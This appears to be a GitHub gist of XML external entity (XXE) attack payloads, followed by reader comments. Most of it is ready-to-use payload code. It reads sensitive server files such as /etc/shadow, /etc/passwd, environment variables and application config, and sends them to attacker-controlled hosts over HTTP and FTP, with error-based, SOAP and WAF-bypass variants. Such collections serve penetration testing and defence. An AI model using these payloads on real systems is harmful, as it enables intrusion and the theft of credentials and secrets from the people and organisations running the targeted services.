

XXE Payloads

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Raw
      Vanilla, used to verify outbound xxe or blind xxe
   4
      <?xml version="1.0" ?>
   5
      <!DOCTYPE r [
      <!ELEMENT r ANY >
      <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
       ]>
   9
       <r>&sp;</r>
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  13
       OoB extraction
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  15
       <?xml version="1.0" ?>
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17
    <!DOCTYPE r [
   <!ELEMENT r ANY >
   <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
20
    %sp;
    %param1;
22
    ]>
    <r>&exfil;</r>
24
    ## External dtd: ##
26
    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
27
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
29
    OoB variation of above (seems to work better against .NET)
    <?xml version="1.0" ?>
34 <!DOCTYPE r [
35 < !ELEMENT r ANY >
   <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
    %sp;
38
    %param1;
    %exfil;
    ]>
40
41
    ## External dtd: ##
43
    <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
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    ______
    OoB extraction
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50
    <?xml version="1.0"?>
51
   <!DOCTYPE r [
53 <!ENTITY % data3 SYSTEM "file:///etc/shadow">
    <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
    %sp;
56
    %param3;
    %exfil;
57
    ]>
58
59
    ## External dtd: ##
    <!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
62
    OoB extra ERROR -- Java
65
    <?xml version="1.0"?>
66
67 <!DOCTYPE r [
   <!ENTITY % data3 SYSTEM "file:///etc/passwd">
    <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
    %sp;
    %param3;
71
72 %exfil;
   ]>
73
74 <r></r>
    ## External dtd: ##
76
    <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
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79
81
    OoB extra nice
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83
     <?xml version="1.0" encoding="utf-8"?>
84
     <!DOCTYPE root [
85
     <!ENTITY % start "<![CDATA[">
86
     <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
     <!ENTITY % end "]]>">
     <!ENTITY % dtd SYSTEM "http://evil/evil.xml">
89
     %dtd;
91
     <root>&all;</root>
     ## External dtd: ##
94
     <!ENTITY all "%start;%stuff;%end;">
97
     File-not-found exception based extraction
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101
102
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE test [
103
       <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
104
105
       %one;
106
       %two;
107
       %four;
     ]>
108
109
110
     ## External dtd: ##
111
112
     <!ENTITY % three SYSTEM "file:///etc/passwd">
     <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
113
114
     -----^ you might need to encode this % (depends on your target) as: %
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116
117
     -----
    FTP
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119 -----
120 <?xml version="1.0" ?>
121
    <!DOCTYPE a [
     <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
122
123
     %asd;
124
     %c;
     ]>
125
     <a>&rrr;</a>
126
127
128
     ## External dtd ##
129
     <!ENTITY % d SYSTEM "file:///proc/self/environ">
130
     <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
132
133
134
     Inside SOAP body
135
     -----
     soap:Body>foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]></foo></soap:Body>
136
137
138
139
140
     Untested - WAF Bypass
     -----
141
142 <!DOCTYPE :. SYTEM "http://"
    <!DOCTYPE :_-_: SYTEM "http://"
143
     <!DOCTYPE {0xdfbf} SYSTEM "http://"</pre>
144
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MERCY-VIYOLA commented on Apr 10, 2017

Thanks for these attack vectors, they are really helpful. ##

@staaldraad am just a newbie in this stuff so please, i need some clarification. I suppose that OOB extra ERROR --Java is meant to produce an error so as to get to know the inner working of the application and the File-not-found exception based extraction code is doing the same. Please help correct me or with a better explanation for those codes. Have you discovered some new XXE attack vectors which are totally different from what is here --> http://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html .



staaldraad commented on May 18, 2017

Owner

Hi, sorry for the delay. Turns out I don't get notifications on gist comments, or I missed it somehow.

These are largely a collection of different payloads I've used on assessments. Some I found for myself, while others I've picked up from blogposts. I'm sure there is a big overlap with the link you posted, and there are some awesome payloads in there that I haven't tried, thanks!

With the OOB error based, I copied that from the work done by NetSPi: https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
They explain the mechanics really well



MERCY-VIYOLA commented on Jul 1, 2017

Alright. Thanks.



utkarsh123456 commented on Aug 7, 2017 • edited ▼

Thanks, but any payloads/methods for the XSS if html encoding is implement?



galaris commented on Aug 10, 2017

pull request to seclist pls?:)

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